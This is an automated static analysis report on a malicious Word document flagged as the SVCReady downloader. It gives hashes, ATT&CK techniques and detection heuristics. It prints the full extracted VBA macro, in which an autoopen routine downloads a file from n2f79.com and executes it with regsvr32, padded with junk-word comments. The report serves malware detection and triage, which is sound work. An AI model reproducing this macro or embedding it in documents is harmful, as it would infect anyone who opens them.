Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 03f9be4517e46e9a…

MALICIOUS

Office (OOXML)

147.5 KB Created: 2020-07-08 23:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 2f90002a2bd51ba8e16bae0e8afa0624 SHA-1: aac91441b513c3801a87a3953d9c6afdb80d81b0 SHA-256: 03f9be4517e46e9a1a9f7cd4dd6dac324aa4f6dd23c3b88545879b2aee47ac1c
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Office document containing VBA macros. The 'autoopen' macro executes 'URLDownloadToFile' to download a file from 'http://n2f79.com/iz5/yaca.php?l=kpt2.cab' and saves it as 'kG.tmp'. Subsequently, the script executes this downloaded file using 'regsvr32 kG.tmp', indicating a downloader functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Eclipse portly proudly furlough
    Call URLDownloadToFile(0, "http://n2f79.com/iz5/yaca.php?l=kpt2.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "kG.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://n2f79.com/iz5/yaca.php?l=kpt2.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2264 bytes
SHA-256: a109f1eedd3bf5711be3a342fbdbce59a2d9bcd9591e8defad225b6470a6ca32
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "kG.tmp"
Sub autoopen()

' Mother
' Floor oecd programs slightly englishwoman

' Cottages breach satisfy
' Anointing veldt withering windy
' Impose modicum
' Eclipse portly proudly furlough
Call URLDownloadToFile(0, "http://n2f79.com/iz5/yaca.php?l=kpt2.cab", Vw, 0, 0)

' Portrait
' Suave jerkin extraneous tolerance
' Nearby flux birthplace continuously
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Pianist opportune assumes
' Archived mimic punctilious convenience
' Responding librarian prolix
' Lynching capitulate contacts

' Nl analyst
' Pl microwave
' Ares tara

' Australia posthumous talmud
' Referral
' Pillage unload
' Five

' Inaccuracy asbestos ah
' Pharmacology canine
' Burdett divide
' Weasel

' Vagabond starboard minimize
' Acute contractor south-western conversely heating inert
' Overtakes unalloyed added
' Calcareous tape coma cruising
' Molten shirts

' Potatoes slammed concomitant
' Roll pitiable topography sponsor
' Connect clients lightning promptly coinage
' Led carmen cameroon countryside seventh

' Warped hoover thirty-seven often
' Fatalism hows acute adjust loon
' Dental brilliance gens exclusively affiliate
' Horus leash betimes pestle fold
' Winner civilian quasi

' Version baseness
' Candidates hotmail loom frothy
' Domesticated petal
Dim Kk As New WshShell

' Cartel asian
' Inducement re-
' Google litany wallet talisman
Kk.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Ka As LongPtr, ByVal km As String, ByVal gt As String, ByVal GR As LongPtr, ByVal z As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Ka As Long, ByVal km As String, ByVal gt As String, ByVal GR As Long, ByVal z As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 57c9adcf8a5ed6ac7330cc28be59d57e344e76e8d81bd3c095876c5a70cb5c39